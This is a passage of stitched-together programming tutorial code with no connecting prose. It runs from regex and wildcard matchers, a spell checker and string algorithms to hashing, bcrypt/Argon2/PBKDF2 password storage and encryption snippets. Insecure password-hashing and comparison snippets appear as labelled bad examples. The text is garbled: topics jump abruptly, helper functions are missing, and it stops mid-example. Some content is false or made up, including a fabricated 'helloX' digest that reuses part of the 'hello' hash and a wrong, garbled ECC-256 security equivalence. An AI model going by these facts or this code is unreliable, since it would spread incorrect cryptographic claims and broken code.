                if pattern[j - 2] == text[i - 1] or pattern[j - 2] == '.':
                    dp[i][j] = dp[i][j] or dp[i - 1][j]

            elif pattern[j - 1] == '.' or pattern[j - 1] == text[i - 1]:
                # Characters match
                dp[i][j] = dp[i - 1][j - 1]

    return dp[n][m]

# Examples
print(is_match_dp("aa", "a"))       # False
print(is_match_dp("aa", "a*"))      # True
print(is_match_dp("ab", ".*"))      # True
print(is_match_dp("aab", "c*a*b"))  # True
print(is_match_dp("mississippi", "mis*is*p*."))  # False

text = "aab"
pattern = "c*a*b"

       ""  c  *  a  *  b
 ""    T   F  T  F  T  F
 a     F   F  F  T  T  F
 a     F   F  F  F  T  F
 b     F   F  F  F  F  T

Explanation:
- dp[0][0] = True (empty matches empty)
- dp[0][2] = True (c* matches empty)
- dp[0][4] = True (c*a* matches empty)
- dp[1][3] = True ("a" matches "c*a")
- dp[2][4] = True ("aa" matches "c*a*")
- dp[3][5] = True ("aab" matches "c*a*b")

def is_match_wildcard(text, pattern):
    """
    Wildcard pattern matching.
    '?' matches any single character
    '*' matches any sequence (including empty)

    Args:
        text: Text to match
        pattern: Pattern with wildcards

    Returns:
        True if text matches pattern
    """
    n, m = len(text), len(pattern)
    dp = [[False] * (m + 1) for _ in range(n + 1)]

    # Base case
    dp[0][0] = True

    # Handle leading '*' in pattern
    for j in range(1, m + 1):
        if pattern[j - 1] == '*':
            dp[0][j] = dp[0][j - 1]

    # Fill DP table
    for i in range(1, n + 1):
        for j in range(1, m + 1):
            if pattern[j - 1] == '*':
                # '*' matches empty or one or more characters
                dp[i][j] = dp[i][j - 1] or dp[i - 1][j]
            elif pattern[j - 1] == '?' or pattern[j - 1] == text[i - 1]:
                # '?' or exact match
                dp[i][j] = dp[i - 1][j - 1]

    return dp[n][m]

# Examples
print(is_match_wildcard("aa", "a"))      # False
print(is_match_wildcard("aa", "*"))      # True
print(is_match_wildcard("cb", "?a"))     # False
print(is_match_wildcard("adceb", "*a*b"))  # True
print(is_match_wildcard("acdcb", "a*c?b"))  # False

def compile_regex(pattern):
    """
    Compile regex pattern to NFA (Nondeterministic Finite Automaton).
    Supports: literals, '.', '*', '+', '?', '|', '(', ')'

    This is a simplified version - real regex engines are much more complex.
    """
    class NFA:
        def __init__(self):
            self.states = []
            self.start = None
            self.end = None

    # This would require Thompson's construction algorithm
    # Simplified for demonstration
    pass

def regex_search(text, pattern):
    """
    Find first match of pattern in text.

    Returns:
        (start, end) positions of match, or None
    """
    n = len(text)
    m = len(pattern)

    # Try matching at each position
    for i in range(n - m + 1):
        if is_match_dp(text[i:], pattern):
            # Find exact end position
            for j in range(m, n - i + 1):
                if is_match_dp(text[i:i+j], pattern):
                    end = i + j
                else:
                    break
            return (i, end)

    return None

def regex_findall(text, pattern):
    """
    Find all non-overlapping matches.

    Returns:
        List of (start, end) tuples
    """
    matches = []
    i = 0

    while i < len(text):
        match = regex_search(text[i:], pattern)
        if match:
            start, end = match
            matches.append((i + start, i + end))
            i += end
        else:
            break

    return matches

# Note: For real regex, use Python's re module
import re

# Example with real regex
text = "The quick brown fox jumps over the lazy dog"
pattern = r'\b\w{5}\b'  # 5-letter words
matches = re.findall(pattern, text)
print(matches)  # ['quick', 'brown', 'jumps']

class TextEditor:
    """
    Simple text editor with string algorithm applications.
    """

    def __init__(self):
        self.text = ""
        self.history = []
        self.history_index = -1

    def insert(self, pos, string):
        """Insert string at position."""
        self.text = self.text[:pos] + string + self.text[pos:]
        self._save_state()

    def delete(self, start, end):
        """Delete characters from start to end."""
        self.text = self.text[:start] + self.text[end:]
        self._save_state()

    def find(self, pattern):
        """Find all occurrences using KMP."""
        return kmp_search(self.text, pattern)

    def replace(self, old, new):
        """Replace all occurrences."""
        positions = self.find(old)

        # Replace from right to left to maintain positions
        for pos in reversed(positions):
            self.text = self.text[:pos] + new + self.text[pos + len(old):]

        self._save_state()

    def fuzzy_find(self, pattern, max_distance=2):
        """Find approximate matches."""
        matches = []
        n = len(self.text)
        m = len(pattern)

        for i in range(n - m + 1):
            substr = self.text[i:i + m]
            dist, _ = edit_distance(pattern, substr)
            if dist <= max_distance:
                matches.append((i, dist))

        return matches

    def undo(self):
        """Undo last operation."""
        if self.history_index > 0:
            self.history_index -= 1
            self.text = self.history[self.history_index]

    def redo(self):
        """Redo last undone operation."""
        if self.history_index < len(self.history) - 1:
            self.history_index += 1
            self.text = self.history[self.history_index]

    def _save_state(self):
        """Save current state to history."""
        # Remove any redo states
        self.history = self.history[:self.history_index + 1]
        self.history.append(self.text)
        self.history_index += 1

# Example usage
editor = TextEditor()
editor.insert(0, "Hello World")
editor.insert(5, " Beautiful")
print(editor.text)  # "Hello Beautiful World"

positions = editor.find("World")
print(f"'World' found at: {positions}")

editor.replace("World", "Universe")
print(editor.text)  # "Hello Beautiful Universe"

class SpellChecker:
    """
    Spell checker using trie and edit distance.
    """

    def __init__(self, dictionary):
        """
        Initialize with dictionary of valid words.

        Args:
            dictionary: List of valid words
        """
        self.trie = Trie()
        for word in dictionary:
            self.trie.insert(word.lower())

    def is_correct(self, word):
        """Check if word is spelled correctly."""
        return self.trie.search(word.lower())

    def suggestions(self, word, max_distance=2, max_suggestions=5):
        """
        Get spelling suggestions for misspelled word.

        Args:
            word: Misspelled word
            max_distance: Maximum edit distance for suggestions
            max_suggestions: Maximum number of suggestions

        Returns:
            List of (suggestion, distance) sorted by distance
        """
        word_lower = word.lower()
        suggestions = []

        # BFS through trie to find similar words
        def dfs(node, current_word, distance):
            if distance > max_distance:
                return

            if node.is_end_of_word:
                if current_word != word_lower:
                    dist, _ = edit_distance(word_lower, current_word)
                    if dist <= max_distance:
                        suggestions.append((current_word, dist))

            for char, child in node.children.items():
                dfs(child, current_word + char, distance + 1)

        dfs(self.trie.root, "", 0)

        # Sort by distance, then alphabetically
        suggestions.sort(key=lambda x: (x[1], x[0]))

        return suggestions[:max_suggestions]

    def autocomplete(self, prefix, max_suggestions=5):
        """Get autocomplete suggestions."""
        words = self.trie.find_all_with_prefix(prefix.lower())
        return words[:max_suggestions]

# Example
dictionary = ["hello", "help", "helping", "world", "word", "work"]
checker = SpellChecker(dictionary)

print(checker.is_correct("hello"))  # True
print(checker.is_correct("helo"))   # False

suggestions = checker.suggestions("helo")
print(f"Suggestions for 'helo': {suggestions}")
# [('hello', 1), ('help', 1)]

completions = checker.autocomplete("hel")
print(f"Autocomplete for 'hel': {completions}")
# ['hello', 'help', 'helping']

class DNAAnalyzer:
    """
    DNA sequence analysis using string algorithms.
    """

    def __init__(self, sequence):
        """
        Initialize with DNA sequence.

        Args:
            sequence: DNA string (A, T, G, C)
        """
        self.sequence = sequence.upper()
        self.complement_map = {'A': 'T', 'T': 'A', 'G': 'C', 'C': 'G'}

    def find_gene(self, gene_sequence):
        """Find all occurrences of gene sequence."""
        return kmp_search(self.sequence, gene_sequence.upper())

    def complement(self):
        """Get complementary DNA strand."""
        return ''.join(self.complement_map[base] for base in self.sequence)

    def reverse_complement(self):
        """Get reverse complement (important in DNA analysis)."""
        return self.complement()[::-1]

    def find_palindromes(self, min_length=4):
        """
        Find palindromic sequences (important in restriction sites).

        Returns:
            List of (position, length) tuples
        """
        palindromes = []
        n = len(self.sequence)

        # Use Manacher's algorithm concept
        for center in range(n):
            # Odd length palindromes
            left = right = center
            while left >= 0 and right < n and \
                  self.sequence[left] == self.complement_map[self.sequence[right]]:
                length = right - left + 1
                if length >= min_length:
                    palindromes.append((left, length))
                left -= 1
                right += 1

        return palindromes

    def find_repeats(self, min_length=10):
        """
        Find repeated sequences using suffix array.

        Returns:
            List of repeated sequences
        """
        sa = build_suffix_array_efficient(self.sequence)
        lcp = build_lcp_array(self.sequence, sa)

        repeats = []
        for i in range(1, len(lcp)):
            if lcp[i] >= min_length:
                repeat = self.sequence[sa[i]:sa[i] + lcp[i]]
                repeats.append(repeat)

        return list(set(repeats))

    def similarity(self, other_sequence):
        """
        Calculate similarity with another sequence using LCS.

        Returns:
            Similarity percentage
        """
        lcs_len, _ = longest_common_subsequence(self.sequence, other_sequence.upper())
        max_len = max(len(self.sequence), len(other_sequence))
        return (lcs_len / max_len) * 100

# Example
dna = DNAAnalyzer("ATCGATCGATCG")
print(f"Sequence: {dna.sequence}")
print(f"Complement: {dna.complement()}")
print(f"Reverse complement: {dna.reverse_complement()}")

positions = dna.find_gene("ATCG")
print(f"Gene 'ATCG' found at positions: {positions}")

dna2 = DNAAnalyzer("ATCGGGGATCG")
similarity = dna.similarity("ATCGGGGATCG")
print(f"Similarity: {similarity:.1f}%")

class SimpleSearchEngine:
    """
    Simple search engine using string algorithms.
    """

    def __init__(self):
        self.documents = {}  # doc_id -> content
        self.inverted_index = {}  # word -> set of doc_ids
        self.doc_counter = 0

    def add_document(self, content):
        """
        Add document to search engine.

        Returns:
            Document ID
        """
        doc_id = self.doc_counter
        self.documents[doc_id] = content
        self.doc_counter += 1

        # Index words
        words = content.lower().split()
        for word in words:
            if word not in self.inverted_index:
                self.inverted_index[word] = set()
            self.inverted_index[word].add(doc_id)

        return doc_id

    def search_exact(self, query):
        """
        Search for exact query match.

        Returns:
            List of (doc_id, positions) tuples
        """
        query_lower = query.lower()
        results = []

        for doc_id, content in self.documents.items():
            positions = kmp_search(content.lower(), query_lower)
            if positions:
                results.append((doc_id, positions))

        return results

    def search_fuzzy(self, query, max_distance=2):
        """
        Fuzzy search allowing typos.

        Returns:
            List of (doc_id, relevance_score) tuples
        """
        query_words = query.lower().split()
        results = {}

        for doc_id, content in self.documents.items():
            score = 0
            content_words = content.lower().split()

            for query_word in query_words:
                for content_word in content_words:
                    dist, _ = edit_distance(query_word, content_word)
                    if dist <= max_distance:
                        # Closer matches get higher scores
                        score += (max_distance - dist + 1)

            if score > 0:
                results[doc_id] = score

        # Sort by relevance
        return sorted(results.items(), key=lambda x: x[1], reverse=True)

    def search_boolean(self, *query_words):
        """
        Boolean AND search (all words must be present).

        Returns:
            Set of matching document IDs
        """
        if not query_words:
            return set()

        # Start with documents containing first word
        result = self.inverted_index.get(query_words[0].lower(), set()).copy()

        # Intersect with documents containing other words
        for word in query_words[1:]:
            result &= self.inverted_index.get(word.lower(), set())

        return result

# Example usage
search_engine = SimpleSearchEngine()

# Add documents
search_engine.add_document("The quick brown fox jumps over the lazy dog")
search_engine.add_document("A quick brown dog runs in the park")
search_engine.add_document("The lazy cat sleeps all day")

# Exact search
results = search_engine.search_exact("quick brown")
print(f"Exact matches: {results}")

# Fuzzy search (handles typos)
results = search_engine.search_fuzzy("quik brwn", max_distance=2)
print(f"Fuzzy matches: {results}")

# Boolean search
results = search_engine.search_boolean("quick", "dog")
print(f"Documents with 'quick' AND 'dog': {results}")

def is_palindrome(s):
    """Check if string is palindrome. O(n)"""
    return s == s[::-1]

def longest_palindrome_dp(s):
    """Longest palindromic substring using DP. O(n^2)"""
    n = len(s)
    if n == 0:
        return ""

    dp = [[False] * n for _ in range(n)]
    start = 0
    max_len = 1

    # Single characters are palindromes
    for i in range(n):
        dp[i][i] = True

    # Check two-character palindromes
    for i in range(n - 1):
        if s[i] == s[i + 1]:
            dp[i][i + 1] = True
            start = i
            max_len = 2

    # Check palindromes of length 3+
    for length in range(3, n + 1):
        for i in range(n - length + 1):
            j = i + length - 1

            if s[i] == s[j] and dp[i + 1][j - 1]:
                dp[i][j] = True
                start = i
                max_len = length

    return s[start:start + max_len]

def min_insertions_to_make_palindrome(s):
    """Minimum insertions to make string a palindrome."""
    n = len(s)
    # LCS of s and reverse of s
    lcs_len, _ = longest_common_subsequence(s, s[::-1])
    return n - lcs_len

def are_anagrams(s1, s2):
    """Check if two strings are anagrams. O(n)"""
    from collections import Counter
    return Counter(s1) == Counter(s2)

def group_anagrams(words):
    """
    Group words that are anagrams.

    Returns:
        List of lists of anagrams
    """
    from collections import defaultdict

    groups = defaultdict(list)

    for word in words:
        # Sort characters as key
        key = ''.join(sorted(word))
        groups[key].append(word)

    return list(groups.values())

def find_all_anagrams(text, pattern):
    """
    Find all anagram substrings in text.
    Uses sliding window. O(n)
    """
    from collections import Counter

    n, m = len(text), len(pattern)
    if n < m:
        return []

    pattern_count = Counter(pattern)
    window_count = Counter(text[:m])

    result = []
    if window_count == pattern_count:
        result.append(0)

    # Slide window
    for i in range(m, n):
        # Add new character
        window_count[text[i]] += 1

        # Remove old character
        old_char = text[i - m]
        window_count[old_char] -= 1
        if window_count[old_char] == 0:
            del window_count[old_char]

        # Check if anagram
        if window_count == pattern_count:
            result.append(i - m + 1)

    return result

# Examples
print(are_anagrams("listen", "silent"))  # True
print(group_anagrams(["eat", "tea", "tan", "ate", "nat", "bat"]))
# [['eat', 'tea', 'ate'], ['tan', 'nat'], ['bat']]
print(find_all_anagrams("cbaebabacd", "abc"))  # [0, 6]

def length_of_longest_substring(s):
    """
    Longest substring without repeating characters.
    Uses sliding window. O(n)
    """
    char_index = {}
    max_length = 0
    start = 0

    for end, char in enumerate(s):
        if char in char_index and char_index[char] >= start:
            # Move start past previous occurrence
            start = char_index[char] + 1

        char_index[char] = end
        max_length = max(max_length, end - start + 1)

    return max_length

def min_window_substring(s, t):
    """
    Minimum window substring containing all characters of t.
    Uses sliding window. O(n)
    """
    from collections import Counter

    if not s or not t:
        return ""

    # Count characters in t
    dict_t = Counter(t)
    required = len(dict_t)

    # Sliding window
    left = right = 0
    formed = 0  # Number of unique chars in window with desired frequency
    window_counts = {}

    # (window length, left, right)
    ans = float("inf"), None, None

    while right < len(s):
        char = s[right]
        window_counts[char] = window_counts.get(char, 0) + 1

        if char in dict_t and window_counts[char] == dict_t[char]:
            formed += 1

        # Try to shrink window
        while left <= right and formed == required:
            char = s[left]

            # Save smallest window
            if right - left + 1 < ans[0]:
                ans = (right - left + 1, left, right)

            window_counts[char] -= 1
            if char in dict_t and window_counts[char] < dict_t[char]:
                formed -= 1

            left += 1

        right += 1

    return "" if ans[0] == float("inf") else s[ans[1]:ans[2] + 1]

# Examples
print(length_of_longest_substring("abcabcbb"))  # 3 ("abc")
print(min_window_substring("ADOBECODEBANC", "ABC"))  # "BANC"

def one_edit_distance(s1, s2):
    """
    Check if strings are one edit apart.
    Edits: insert, delete, replace
    """
    n1, n2 = len(s1), len(s2)

    # Ensure s1 is shorter
    if n1 > n2:
        return one_edit_distance(s2, s1)

    if n2 - n1 > 1:
        return False

    for i in range(n1):
        if s1[i] != s2[i]:
            if n1 == n2:
                # Replace: rest must match
                return s1[i + 1:] == s2[i + 1:]
            else:
                # Delete from s2: s1 must match s2 after deletion
                return s1[i:] == s2[i + 1:]

    # All characters match, strings differ by one if lengths differ
    return n1 + 1 == n2

def word_ladder_length(begin_word, end_word, word_list):
    """
    Shortest transformation sequence from begin_word to end_word.
    Each step changes one letter, intermediate words must be in word_list.

    Uses BFS. O(M * N) where M is word length, N is number of words.
    """
    from collections import deque

    if end_word not in word_list:
        return 0

    word_set = set(word_list)
    queue = deque([(begin_word, 1)])
    visited = {begin_word}

    while queue:
        word, steps = queue.popleft()

        if word == end_word:
            return steps

        # Try all possible one-letter transformations
        for i in range(len(word)):
            for c in 'abcdefghijklmnopqrstuvwxyz':
                next_word = word[:i] + c + word[i + 1:]

                if next_word in word_set and next_word not in visited:
                    visited.add(next_word)
                    queue.append((next_word, steps + 1))

    return 0

# Examples
print(one_edit_distance("ab", "acb"))  # True
print(word_ladder_length("hit", "cog", ["hot", "dot", "dog", "lot", "log", "cog"]))
# 5: hit -> hot -> dot -> dog -> cog

def strStr(haystack, needle):
    """
    Find first occurrence of needle in haystack (implement indexOf).
    Returns index or -1.
    """
    if not needle:
        return 0

    positions = kmp_search(haystack, needle)
    return positions[0] if positions else -1

def repeated_substring_pattern(s):
    """
    Check if string can be constructed by repeating a substring.
    Uses Z-algorithm or KMP failure function.
    """
    n = len(s)
    lps = compute_lps(s)

    # If lps[n-1] > 0 and n % (n - lps[n-1]) == 0, then repeating
    if lps[n - 1] > 0 and n % (n - lps[n - 1]) == 0:
        return True
    return False

def is_subsequence(s, t):
    """
    Check if s is subsequence of t.
    Two pointers. O(n)
    """
    i = 0
    for char in t:
        if i < len(s) and s[i] == char:
            i += 1
    return i == len(s)

# Examples
print(strStr("hello", "ll"))  # 2
print(repeated_substring_pattern("abcabcabc"))  # True
print(is_subsequence("abc", "ahbgdc"))  # True

# OpenSSL
openssl enc -aes-256-cbc -in file.txt -out file.enc
openssl req -new -x509 -days 365 -key key.pem -out cert.pem

# Generate keys
ssh-keygen -t ed25519
openssl genrsa -out private.key 2048

# Hashing
sha256sum file.txt
openssl dgst -sha256 file.txt

# Certificate inspection
openssl x509 -in cert.pem -text -noout
openssl s_client -connect example.com:443

hash("hello") = 2cf24dba5fb0a30e...
hash("hello") = 2cf24dba5fb0a30e...  (always the same)

hash(m1) = hash(m2)

hash("hello")  = 2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824
hash("helloX") = 9c70933a77f8d8d1eb5ba43c8f8c8b2e6f4c8e8a5b9e1b161e5c1fa7425e7304

import hashlib

# Hash a string
message = "Hello, World!"
hash_object = hashlib.sha256(message.encode())
hash_hex = hash_object.hexdigest()
print(f"SHA-256: {hash_hex}")
# Output: SHA-256: dffd6021bb2bd5b0af676290809ec3a53191dd81c7f70a4b28688a362182986f

# Hash a file
def hash_file(filename):
    sha256_hash = hashlib.sha256()
    with open(filename, "rb") as f:
        # Read file in chunks to handle large files
        for byte_block in iter(lambda: f.read(4096), b""):
            sha256_hash.update(byte_block)
    return sha256_hash.hexdigest()

file_hash = hash_file("document.pdf")
print(f"File hash: {file_hash}")

# Incremental hashing
hasher = hashlib.sha256()
hasher.update(b"Hello, ")
hasher.update(b"World!")
print(hasher.hexdigest())
# Same as hashing "Hello, World!" at once

# Hash a string
echo -n "Hello, World!" | sha256sum
echo -n "Hello, World!" | openssl dgst -sha256

# Hash a file
sha256sum document.pdf
openssl dgst -sha256 document.pdf

# Verify file integrity
sha256sum document.pdf > checksum.txt
sha256sum -c checksum.txt

# Hash multiple files
sha256sum *.pdf > all_checksums.txt

Input: "Hello, World!"

Binary (256 bits):
11011111111111010110000000100001...

Hexadecimal (64 characters):
dffd6021bb2bd5b0af676290809ec3a53191dd81c7f70a4b28688a362182986f

Base64 (44 characters):
3/1gIbsr1bCvZ2KQgJ7DpTGR3YHH9wpLKGiKNiGCmG8=

import hashlib

message = "Hello, World!"

# SHA-3 variants
sha3_256 = hashlib.sha3_256(message.encode()).hexdigest()
sha3_512 = hashlib.sha3_512(message.encode()).hexdigest()

print(f"SHA3-256: {sha3_256}")
print(f"SHA3-512: {sha3_512}")

# SHAKE (extendable output)
shake = hashlib.shake_256(message.encode())
# Get 32 bytes of output
print(f"SHAKE256: {shake.hexdigest(32)}")

import hashlib

message = b"Hello, World!"

# BLAKE2b (optimized for 64-bit platforms)
blake2b = hashlib.blake2b(message).hexdigest()
print(f"BLAKE2b: {blake2b}")

# BLAKE2s (optimized for 8-32 bit platforms)
blake2s = hashlib.blake2s(message).hexdigest()
print(f"BLAKE2s: {blake2s}")

# Keyed hashing (MAC)
key = b"secret-key-123"
mac = hashlib.blake2b(message, key=key).hexdigest()
print(f"BLAKE2b MAC: {mac}")

# Custom digest size
digest = hashlib.blake2b(message, digest_size=16).hexdigest()
print(f"BLAKE2b-128: {digest}")

# With salt (for password hashing)
salt = b"random-salt-16bytes!"
h = hashlib.blake2b(message, salt=salt, digest_size=32)
print(f"BLAKE2b with salt: {h.hexdigest()}")

# BAD - vulnerable to brute force
import hashlib
password = "password123"
hash = hashlib.sha256(password.encode()).hexdigest()
# Attacker can compute billions of SHA-256 hashes per second!

import bcrypt

# Hash a password
password = b"my_secure_password"
salt = bcrypt.gensalt(rounds=12)  # 2^12 iterations
hashed = bcrypt.hashpw(password, salt)
print(f"Hashed: {hashed}")
# Output: b'$2b$12$KIXx8Z9...'

# Verify password
if bcrypt.checkpw(password, hashed):
    print("Password matches!")
else:
    print("Invalid password")

# Increase work factor over time
def needs_rehash(hashed_password, min_rounds=12):
    # Extract current rounds from hash
    parts = hashed_password.decode().split('$')
    current_rounds = int(parts[2])
    return current_rounds < min_rounds

# Complete example
def hash_password(password):
    return bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))

def verify_password(password, hashed):
    return bcrypt.checkpw(password.encode(), hashed)

# Usage
user_password = "SuperSecret123!"
stored_hash = hash_password(user_password)

# Later, during login
login_password = "SuperSecret123!"
if verify_password(login_password, stored_hash):
    print("Login successful!")

$2b$12$KIXx8Z9ByF7LHfG8z.yNH.Q5GF8Z9ByF7LHfG8z.yNH.Q5GF8Z9ByF7
 |  |  |                                                    |
 |  |  |                                                    |
 |  |  Salt (22 characters)                                Hash (31 chars)
 |  |
 |  Cost factor (2^12 iterations)
 |
 Algorithm identifier (2b = bcrypt)

from argon2 import PasswordHasher
from argon2.exceptions import VerifyMismatchError

# Create hasher with default parameters
ph = PasswordHasher()

# Hash password
password = "my_secure_password"
hashed = ph.hash(password)
print(f"Hashed: {hashed}")
# Output: $argon2id$v=19$m=65536,t=3,p=4$...

# Verify password
try:
    ph.verify(hashed, password)
    print("Password matches!")
except VerifyMismatchError:
    print("Invalid password")

# Check if hash needs rehashing (parameters changed)
if ph.check_needs_rehash(hashed):
    new_hash = ph.hash(password)
    # Update in database

# Custom parameters
from argon2 import PasswordHasher
custom_ph = PasswordHasher(
    time_cost=3,        # Number of iterations
    memory_cost=65536,  # Memory usage in KiB (64 MB)
    parallelism=4,      # Number of parallel threads
    hash_len=32,        # Hash length in bytes
    salt_len=16         # Salt length in bytes
)

hashed = custom_ph.hash(password)

$argon2id$v=19$m=65536,t=3,p=4$c29tZXNhbHQ$hash_output_here
 |        |    |             |              |
 |        |    |             |              Hash output
 |        |    |             Salt (base64)
 |        |    Parameters (memory, time, parallelism)
 |        Version
 Variant (id, i, or d)

# Low security (fast, for testing)
time_cost=1, memory_cost=8192, parallelism=1

# Medium security (default)
time_cost=3, memory_cost=65536, parallelism=4

# High security
time_cost=5, memory_cost=262144, parallelism=8

# Extreme security
time_cost=10, memory_cost=1048576, parallelism=16

# BAD - Same password = Same hash
hash("password123") = "abc123..."
hash("password123") = "abc123..."  # Attacker can precompute!

# GOOD - Same password = Different hashes
hash("password123" + "random_salt_1") = "xyz789..."
hash("password123" + "random_salt_2") = "def456..."

import hashlib
import os

def hash_password_with_salt(password):
    # Generate random salt (16 bytes = 128 bits)
    salt = os.urandom(16)

    # Combine password and salt
    pwdhash = hashlib.pbkdf2_hmac('sha256', 
                                  password.encode(), 
                                  salt, 
                                  100000)  # iterations

    # Store both salt and hash
    return salt + pwdhash

def verify_password(stored_password, provided_password):
    # Extract salt (first 16 bytes)
    salt = stored_password[:16]

    # Extract hash (remaining bytes)
    stored_hash = stored_password[16:]

    # Hash provided password with same salt
    pwdhash = hashlib.pbkdf2_hmac('sha256',
                                  provided_password.encode(),
                                  salt,
                                  100000)

    return pwdhash == stored_hash

# Usage
password = "my_password"
stored = hash_password_with_salt(password)

# Verify
if verify_password(stored, "my_password"):
    print("Correct password")

import hashlib

password = b"my_password"
salt = b"random_salt_123"

# Derive key
key = hashlib.pbkdf2_hmac(
    'sha256',           # Hash algorithm
    password,           # Password
    salt,               # Salt
    100000,             # Iterations
    dklen=32            # Desired key length in bytes
)

print(f"Derived key: {key.hex()}")

# For password storage
def store_password(password):
    salt = os.urandom(16)
    hash = hashlib.pbkdf2_hmac('sha256', password.encode(), salt, 100000)
    # Store: salt + hash
    return salt.hex() + '$' + hash.hex()

def check_password(password, stored):
    salt_hex, hash_hex = stored.split('$')
    salt = bytes.fromhex(salt_hex)
    hash = bytes.fromhex(hash_hex)

    new_hash = hashlib.pbkdf2_hmac('sha256', password.encode(), salt, 100000)
    return new_hash == hash

# Create checksum
sha256sum important_file.pdf > checksum.txt

# Later, verify file hasn't changed
sha256sum -c checksum.txt

git log --oneline
# a1b2c3d Fix bug in authentication

message -> hash -> encrypt with private key -> signature

import hashlib
import time

def mine_block(data, difficulty=4):
    nonce = 0
    target = "0" * difficulty

    while True:
        message = f"{data}{nonce}"
        hash = hashlib.sha256(message.encode()).hexdigest()

        if hash.startswith(target):
            return nonce, hash

        nonce += 1

# Mine a block (find hash starting with 0000)
data = "Block data here"
nonce, hash = mine_block(data, difficulty=4)
print(f"Nonce: {nonce}, Hash: {hash}")

import hashlib

def deduplicate_messages(messages):
    seen_hashes = set()
    unique_messages = []

    for msg in messages:
        msg_hash = hashlib.sha256(msg.encode()).hexdigest()
        if msg_hash not in seen_hashes:
            seen_hashes.add(msg_hash)
            unique_messages.append(msg)

    return unique_messages

import hashlib
import os

class ContentAddressableStorage:
    def __init__(self, storage_dir):
        self.storage_dir = storage_dir
        os.makedirs(storage_dir, exist_ok=True)

    def store(self, data):
        # Hash determines storage location
        hash = hashlib.sha256(data).hexdigest()
        path = os.path.join(self.storage_dir, hash)

        with open(path, 'wb') as f:
            f.write(data)

        return hash

    def retrieve(self, hash):
        path = os.path.join(self.storage_dir, hash)
        with open(path, 'rb') as f:
            return f.read()

# Usage
cas = ContentAddressableStorage('/tmp/cas')
content = b"Important document content"
hash = cas.store(content)
retrieved = cas.retrieve(hash)

import hashlib
import time

data = b"x" * 1000000  # 1 MB of data

algorithms = ['md5', 'sha1', 'sha256', 'sha512', 'sha3_256', 'blake2b']

for algo in algorithms:
    start = time.time()
    for _ in range(100):
        hashlib.new(algo, data).digest()
    elapsed = time.time() - start
    print(f"{algo:12} {elapsed:.3f}s")

# Typical results:
# md5          0.125s  (fastest, but insecure)
# sha1         0.156s  (fast, but deprecated)
# blake2b      0.187s  (fast and secure)
# sha256       0.234s  (standard, secure)
# sha512       0.187s  (fast on 64-bit, secure)
# sha3_256     0.876s  (slower, secure)

# VULNERABLE - collision attacks exist
md5_hash = hashlib.md5(data).hexdigest()
sha1_hash = hashlib.sha1(data).hexdigest()

# USE INSTEAD
sha256_hash = hashlib.sha256(data).hexdigest()

# BAD
password_hash = hashlib.sha256(password.encode()).hexdigest()

# GOOD
import bcrypt
password_hash = bcrypt.hashpw(password.encode(), bcrypt.gensalt())

File integrity:     SHA-256, BLAKE2
Password storage:   bcrypt, Argon2, PBKDF2
General purpose:    SHA-256, SHA-3, BLAKE2
High performance:   BLAKE2, BLAKE3
Cryptographic:      SHA-256, SHA-3

# VULNERABLE - timing attack
if hash1 == hash2:
    return True

# SAFE - constant time comparison
import hmac
if hmac.compare_digest(hash1, hash2):
    return True

# VULNERABLE
auth_tag = sha256(secret + message)

# SAFE
import hmac
auth_tag = hmac.new(secret, message, hashlib.sha256).digest()

# ✓ Use specialized password hash (bcrypt, Argon2)
# ✓ Use random salt (automatic in bcrypt/Argon2)
# ✓ Use sufficient work factor
# ✓ Use constant-time comparison
# ✓ Plan for rehashing when parameters change

from argon2 import PasswordHasher
import hmac

ph = PasswordHasher()

def hash_password(password):
    return ph.hash(password)

def verify_password(password, hash):
    try:
        ph.verify(hash, password)
        return True
    except:
        return False

# Generate checksums for all files
find . -type f -exec sha256sum {} \; > checksums.txt

# Verify later
sha256sum -c checksums.txt

import os

# Use cryptographically secure random
salt = os.urandom(16)  # 128 bits

# DON'T use regular random module
import random
salt = random.randbytes(16)  # NOT SECURE!

CREATE TABLE users (
    id INT PRIMARY KEY,
    username VARCHAR(255) UNIQUE NOT NULL,
    password_hash VARCHAR(255) NOT NULL,  -- Store full hash string
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    password_updated_at TIMESTAMP
);

-- bcrypt example:
-- password_hash: $2b$12$KIXx8Z9ByF7LHfG8z.yNH.Q5GF8Z9ByF7...

-- Argon2 example:
-- password_hash: $argon2id$v=19$m=65536,t=3,p=4$c29tZXNhbHQ$...

# BAD - doesn't increase security
hash1 = sha256(password)
hash2 = sha256(hash1)  # No benefit!

# GOOD - use proper password hashing
hash = bcrypt.hashpw(password, bcrypt.gensalt())

# BAD - creating your own hash function
def my_hash(data):
    result = 0
    for byte in data:
        result = (result * 31 + byte) % 1000000007
    return result

# GOOD - use standard algorithms
import hashlib
hash = hashlib.sha256(data).hexdigest()

# BAD - too fast, vulnerable to brute force
hash = bcrypt.hashpw(password, bcrypt.gensalt(rounds=4))  # 2^4 = 16 iterations

# GOOD - sufficient work factor
hash = bcrypt.hashpw(password, bcrypt.gensalt(rounds=12))  # 2^12 = 4096 iterations

Plaintext + Key [Encrypt]> Ciphertext
Ciphertext + Key [Decrypt]> Plaintext

Plaintext + Public Key [Encrypt]> Ciphertext
Ciphertext + Private Key [Decrypt]> Plaintext

More bits = More security but slower

AES-128: 2^128 possible keys (feasible to break with quantum)
AES-256: 2^256 possible keys (quantum-resistant)
RSA-2048: H112-bit symmetric equivalent
ECC-256: H256-bit symmetric equivalent

Plaintext: "Hello"
IV1 + Key [AES-CBC]> "xK#$%"
IV2 + Key [AES-CBC]> "mN&*@"  (different!)

from cryptography.fernet import Fernet

# Generate key (keep secret!)
key = Fernet.generate_key()  # Save this securely
cipher = Fernet(key)

# Encrypt
plaintext = b"Secret message"
ciphertext = cipher.encrypt(plaintext)  # b'gAAAAABl...'

# Decrypt
plaintext = cipher.decrypt(ciphertext)  # b"Secret message"

from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes

# Generate key pair
private_key = rsa.generate_private_key(
    public_exponent=65537,
    key_size=2048,
)
public_key = private_key.public_key()

# Encrypt with public key
ciphertext = public_key.encrypt(
    b"Secret",
    padding.OAEP(hashing=hashes.SHA256())
)

# Decrypt with private key
plaintext = private_key.decrypt(
    ciphertext,
    padding.OAEP(hashing=hashes.SHA256())
)

import crypto from 'crypto';

// Encrypt
const key = crypto.randomBytes(32);  // 256-bit key
const iv = crypto.randomBytes(16);   // 128-bit IV
